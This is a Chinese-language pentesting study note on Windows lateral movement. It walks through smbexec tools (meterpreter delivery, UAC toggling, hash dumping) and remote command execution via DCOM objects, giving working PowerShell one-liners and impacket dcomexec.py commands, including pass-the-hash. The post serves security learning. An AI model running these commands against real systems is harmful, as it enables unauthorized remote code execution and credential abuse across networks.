1、SMBExec

利用 SMBExec 可以通过文件共享(admin$c$ipc$d$)在远程系统中执行命令,它的工作方式类似于 PsExec

C++ 版

C++ 版项目地址:https://github.com/sunorr/smbexec

一看这个项目是 8 年前上传的了,然后试了用 VS2019 没编译成功,而且目前各大杀软也都查杀这个工具了,所以这个就不看了,直接看 impacket 里的同类工具。

impacket 版

在 impacket 工具包里包含了 smbexec.py 工具,使用起来也很简单。

python3 smbexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7

Linux 跨平台 Windows 远程命令执行

smbexec 工具包下载地址:https://github.com/brav0hax/smbexec

这里安装以 Kali 为例

git clone https://github.com/brav0hax/smbexec.git
cd smbexec/
chmod +x install.sh
sudo ./install.sh

安装时需要选择操作系统,根据自己情况选择就行,如果是 Kali 就选择 Debain,然后选择安装目录,直接回车默认 /opt 目录即可。

安装完后,在终端里输入 smbexec 就会显示 smbexec 的主菜单,分别如下:

1. System Enumeration   // 获取系统信息
2. System Exploitation  // 执行系统命令
3. Obtain Hashes        // 获取系统哈希
4. Options              // 一些其他操作
5. Exit                 // 退出

选择菜单 1 System Enumeration 有以下选项:

1. Create a host list                 // 扫描目标 IP 段中存活的主机
2. Check systems for Domain Admin     // 获取目标系统中的管理员
3. Check systems for logged in users  // 获取当前登录目标系统的用户
4. Check systems for UAC              // 获取目标系统 UAC 的状态
5. Enumerate Shares                   // 获取目标系统中的网络共享目录
6. File Finder                        // 搜索目标系统中的敏感文件
7. Remote login validation            // 获取目标系统中远程登录的用户
8. Main menu                          // 返回主菜单

选择菜单 2 System Exploitation 有以下选项:

1. Create an executable and rc script    // 生成一个 meterpreter Payload 并在目标系统中运行它
2. Disable UAC                           // 关闭远程主机的 UAC
3. Enable UAC                            // 开启远程主机的 UAC
4. Execute Powershell                    // 执行一个 PowerShell 脚本
5. Get Shell                             // 使用基于 PsExec 的方式获得目标系统的 Shell
6. In Memory Meterpreter via Powershell  // 通过 PowerShell 在内存中插入 Meterpreter Payload
7. Remote system access                  // 远程访问系统
8. Main menu                             // 返回主菜单

选择菜单 3 Obtain Hashes 有以下选项:

1. Domain Controller            // 获取域控哈希
2. Workstation & Server Hashes  // 获取本地哈希
3. Main menu                    // 返回主菜单

选择菜单 4 Options 有以下选项:

1. Save State            // 保存当前状态
2. Load State            // 加载以前保存的状态
3. Set Thread Count      // 设置线程数
4. Generate SSL Cert     // 生成 SSL 证书
5. Enter Stealth Mode    // 进入安静模式
6. About                 // 关于
7. Main menu             // 返回主菜单

获取目标系统 UAC 的状态

获取目标系统中的网络共享目录

获取本地哈希

2、DCOM 在远程系统中的使用

COM 即组件对象模型 (Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。

COM 是许多微软产品和技术如 Windows 媒体播放器和 Windows Server 的基础。

DCOM (分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,DCOM 是 COM(组件对象模型)的扩展。

它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是 Internet 上,利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。

攻击者可使用 DCOM 进行横向移动,通过 DCOM 攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。

使用 DCOM 进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管 COM 服务器端的软件。例如我们滥用 ShellBrowserWindow COM 对象,那么就会在远程主机的现有 explorer.exe 进程中执行。

对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向 DCOM 公开方法,因此防御者较难以监测所有程序。

在本地通过 DCOM 执行命令

1、获取 DCOM 程序列表

Get-CimInstance 是 PowerShell 3.0 以上的版本自带的,因此只有 Windows Server 2012 及以上的操作系统才会自带 Get-CimInstance 命令

Get-CimInstance Win32_DCOMApplication

在 Windows 7 和 Windows Server 2008 中可以使用 Get-WmiObject 替代 Get-CimInstance

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

2、使用 DCOM 执行任意命令

在 DCOM 程序列表中有个 MMC Application Class(MMC20.Application),这个 COM 对象可以编程 MMC 管理单元操作的组件脚本。

在本地以管理员权限启动一个 PowerShell,并执行以下命令

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))

获得COM对象的实例后,还可以执行如下命令枚举这个 COM 对象中的不同方法和属性

$com.Document.ActiveView | Get-Member

在 MMC20.Application 中有个 ExecuteShellCommand 方法,我们可以拿它来执行命令,比如启动个计算器

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

除了 MMC20.Application 还有 ShellWindows、ShellBrowserWindow、Excel.Application 以及 Outlook.Application 等等可以被我们利用。

使用 DCOM 在远程主机上执行命令

在使用该方法时,需要具备以下条件:

  • 具有本地管理员权限的 PowerShell
  • 需要关闭目标系统的防火墙。
  • 在远程主机上执行命令时,必须使用域管的 administrator 账户或者在目标主机上具有管理员权限的账户

1、调用 MMC20.Application 远程执行命令

$com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.7.7"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
或者
[Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.7.7")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

2、调用 ShellWindows 远程执行命令

$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.7.7"))
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
或者
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.7.7")).item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

以上这两种方法均适用于Windows 7、Windows 10、Windows Server 2008、Windows Server 2016 的系统。

除了 MMC20.Application 和 ShellWindows,还有以下这几种 DCOM 对象可以被利用。

3、调用 Excel.Application 远程执行命令

$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.7.7"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd.exe","/c calc.exe")

4、调用 ShellBrowserWindow 远程执行命令

适用于 Windows 10 和 Windows Server 2012 R2 等版本的系统

$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.7.7"))
$com.Document.Application.shellExecute("calc.exe")
或者
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.3.144")).Document.Application.shellExecute("calc.exe")

5、调用 Visio.Application 远程执行命令

前提是目标安装了 Visio

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.7.7"))
$com.[0].Document.Application.shellExecute("calc.exe")
或者
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.7.7")).[0].Document.Application.shellExecute("calc.exe")

6、调用 Outlook.Application 远程执行命令

前提是目标安装了 Outlook

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.7.7"))
$com.createObject("Shell.Application").shellExecute("192.168.7.7")
或者
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.7.7")).createObject("Shell.Application").shellExecute("calc.exe")

dcomexec.py 脚本

Impacket 工具包里也提供了 DCOM 的利用脚本,该脚本可以提供一个类似于 wmiexec.py 脚本的半交互式 shell,不过使用的是 DCOM

dcomexec.py 脚本目前支持 MMC20.Application、ShellWindows 和 ShellBrowserWindow 对象。

python3 dcomexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7

或者只执行一条命令

python3 dcomexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7 ipconfig

如果只知道 hash 也可以用 hash 去连接

python3 dcomexec.py teamssix.com/administrator@192.168.7.7 -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

参考文章:

https://cloud.tencent.com/developer/article/1752145

https://www.freebuf.com/articles/network/261454.html

原文链接:

https://teamssix.com/210904-110701.html

更多信息欢迎关注我的微信公众号:TeamsSix

【内网学习笔记】23、SMBExec 与 DCOM 的使用相关推荐

  1. 内网学习笔记 | SSH 隧道使用

     前言 SSH 全称 Secure Shell,从它的名字来看这个协议就比较安全.SSH 协议是一种应用层协议,支持几乎所有 UNIX.Linux 平台. 得益于 SSH 协议在传输过程中都是加密,所 ...

  2. 【内网学习笔记】21、哈希传递与票据传递

    1.哈希传递 哈希传递(Pass The Hash, PTH)顾名思义,就是利用哈希去登录内网中的其他机器,而不是通过明文密码登录的方式. 通过哈希传递,攻击者不需要花时间破解哈希值得到明文,在Win ...

  3. 【内网学习笔记】10、ew 的使用

    1.Socks 代理工具介绍 Socks 代理可以理解成升级版的 lcx,关于 lcx 的用法可以看我之前的文章: https://teamssix.com/year/210528-130449.ht ...

  4. 【内网学习笔记】9、iodine 使用

    1.介绍 iodine 这个名字起的很有意思,iodine 翻译过来就是碘,碘的原子序数为 53,53 也就是 DNS 服务对应的端口号. iodine 和 dnscat2 一样,适合于其他请求方式被 ...

  5. 【内网学习笔记】24、SPN 的应用

    0.前言 SPN Windows 域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散.所属部门不同的用户进行分组和集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境 ...

  6. 【内网学习笔记】20、Hashcat 的使用

    1.介绍 Hashcat 是一款用于破解密码的工具,据说是世界上最快最高级的密码破解工具,支持 LM 哈希.MD5.SHA 等系列的密码破解,同时也支持 Linux.Mac.Windows 平台. 工 ...

  7. 【内网学习笔记】5、BloodHound 的使用

    1.介绍 BloodHound 使用可视化图形显示域环境中的关系,攻击者可以使用 BloodHound 识别高度复杂的攻击路径,防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径.蓝 ...

  8. 【内网学习笔记】22、PsExec 和 WMI 的使用

    1.PsExec PsExec.exe PsExec 在之前的文章里提到过一次,参见https://teamssix.com/210802-181052.html,今天来着重学习一下. PsExec ...

  9. 【内网学习笔记】19、IPC 与计划任务

    0.前言 在多层代理的环境中,由于网络限制,通常采用命令行的方式连接主机,这里学习下 IPC 建立会话与配置计划任务的相关点. 1.IPC IPC (Internet Process Connecti ...

最新文章

  1. align与valign的区别
  2. 【算法导论】归并排序
  3. java 线程交替输出,[java]java经典问题之线程交替打印数字
  4. 还在用Excel做数据分析?两大方法5分钟完成别人一天的工作
  5. 计算机术语局部性,【计算机基础】程序的局部性简介
  6. java外部接口图解_java代码实现访问网络外部接口并获取数据的工具类详解
  7. c语言语音控制游戏文献,C语言课程设计-基于C语言推箱子游戏设计-毕业论文文献.doc...
  8. 第五章--数据库中间层实现读写分离
  9. linux java环境变量修改不生效_ansible执行带有环境变量的脚本不生效
  10. ERP选型需把握主动权!
  11. deepin php与nginx,深度Deepin20安装Nginx1.19+Php7.3+H5ai实践指南
  12. uniapp主题切换
  13. 计算机科学与技术 金海,金海华中科技大学履历
  14. 在Server 2008中添加磁盘清理
  15. 2018-ECCV-Beyond Part Models:Person Retrieval with Refined Part Pooling论文笔记
  16. 荣耀MagicBook Pro性能测试,“秀”出硬实力
  17. oracle如何实现全角和半角的切换
  18. 也谈把程序写好 —— 一点初级程序员的鄙见
  19. 取消Eclipse中的语法分析警告,去掉虫子 ,去掉红点报错方法
  20. 【神经网络第三期】RBF神经网络基本原理和模型应用

热门文章

  1. Android 解压zip文件你知道多少?
  2. mac 下设置自动下载必应壁纸
  3. 哪来的gou zi 阿龙(最新更新于1.21日)
  4. 计算机三级网络技术(重点)
  5. 省市区三级行政区数据获取和GeoJson地图下载
  6. WPAN、WLAN、WMAN、WWAN无线通讯技术区别
  7. “燕云十六将”之Lion李哲
  8. win10开启/取消自动关机
  9. 小米6 android p是什么,小米6什么配置参数?小米6标配有什么?
  10. 【记一次】电脑可以ping通百度,但是浏览器无法访问